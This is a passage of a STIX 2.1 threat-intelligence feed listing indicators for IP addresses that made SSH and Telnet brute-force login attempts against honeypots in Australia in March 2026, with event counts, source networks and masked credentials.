      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****3, e******d.",
      "id": "indicator--9d28ef38-6bf9-4348-ac42-5b80c6949e26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 2****7, b*****l, r******1.",
      "id": "indicator--bf8d6228-9d58-4c20-b5d8-b8e036849e15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 6****9.",
      "id": "indicator--4bfd4fab-886a-4b39-8ec7-bded05cc5873",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): m****n.",
      "id": "indicator--67772fda-0677-429c-837e-42b12f6085de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): E*******h.",
      "id": "indicator--638c1297-912d-4ff7-9695-c1cf465ee854",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): b***i.",
      "id": "indicator--806c7a13-bdce-4b9d-bf75-687c1ef2a07d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****0, 1**1, c******1, h*********1.",
      "id": "indicator--076d06cb-c638-44bd-b410-94ab1cd9fdec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****6.",
      "id": "indicator--584e4466-8a42-43c9-af36-82d72fc31f74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--3cdd0f0f-a426-48cf-9d7a-88783164c923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, h*****1, i*****m.",
      "id": "indicator--a1df4e4b-0b3f-4575-a2b6-9205b185ae94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****0, c**a, p***o.",
      "id": "indicator--dc643b3d-0c05-4bec-8075-c0ff5f715453",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****7, 1****8, ***.",
      "id": "indicator--310bf507-d5d2-400f-ba51-1ed04f865b10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): z***a.",
      "id": "indicator--94ea1c51-f06f-4d69-ba5d-b4144e605bf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****7.",
      "id": "indicator--579bbd3e-a98b-4b18-ac4b-f1429b9ac2f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****4.",
      "id": "indicator--5beb5fb1-3fd7-4da8-b3c0-0b60c2f8be76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): j***t, w******g.",
      "id": "indicator--eab897f6-e4f9-405a-bfc4-9f64c3858043",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****9.",
      "id": "indicator--7389f5a4-ddaf-4dbf-8bdb-e8815781e55b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): C******N.",
      "id": "indicator--db1eabf8-7f8b-420b-a00a-2879dc1e5277",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): h*******a, ***.",
      "id": "indicator--e776f03a-d0ea-417f-80f1-fb966ca76a28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****8, 6*****a, s*******1.",
      "id": "indicator--a9372db3-cd62-4fe1-aedb-06b9298bce74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 7*****1, j****e.",
      "id": "indicator--6e2cdc3f-d131-44a5-ac7a-c51f4c7d7ad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): G****s, ***, k******a, m******i.",
      "id": "indicator--110c3d61-d412-47f3-a50c-9a87f088a4a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****4, 1**7, g*****1.",
      "id": "indicator--8f6ac619-5fed-400d-bb67-b7a362f79bed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 211507. Organisation(s): Julian Achter. Usernames observed (masked): s****m. Passwords observed (masked): n****r.",
      "id": "indicator--68d644e3-d93f-4e36-bca2-176a81010829",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.141.119.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): s*******r, 3**********4, c***d, p****c, r**t. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, 3***********4.",
      "id": "indicator--b95a3982-3f9b-4920-a0ed-a61d6c2e5652",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.83.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 399244. Organisation(s): AME Hosting LLC. Usernames observed (masked): s****m, 3**********4, **, c***d, h***d. Passwords observed (masked): ***, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--84b04660-024c-4665-8c54-d8689f8abf53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '76.164.199.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, w******n, 3**********4, b*****r, c***d. Passwords observed (masked): 1******8, 1******Z, 1**********C, 3***********4, 3**********4.",
      "id": "indicator--fd748756-47b9-4179-b552-a76e43310c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.184.248.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--f31cc7c7-999a-4c7d-ac8d-9da97ea3e520",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '90.189.170.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--85e427e4-0781-46f4-80c8-1c4973f86823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '100.24.37.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 7******M, P**********5.",
      "id": "indicator--8e7143be-4442-4982-b1dc-e2c988163edc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.49.239.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): s***********s, 3**********4, c*****y, e***********h, h**p. Passwords observed (masked): 1**4, 3***********4, 3**********4, H*****3, L************!.",
      "id": "indicator--13aefd73-0508-4f21-98fe-6923ccf81efe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.180.88.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): ***, i*****n, r**t. Passwords observed (masked): 1****6, A********6, p******d.",
      "id": "indicator--373d5555-5620-4c8b-b088-3f09bf933e20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.125.200.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a. Passwords observed (masked): s****a.",
      "id": "indicator--10423008-67e4-47ad-b698-11afefbbbcb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.2.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, u****u. Passwords observed (masked): ***, s****a, u****u.",
      "id": "indicator--54e24ed3-d8c4-47fc-8212-19e7b738ab52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
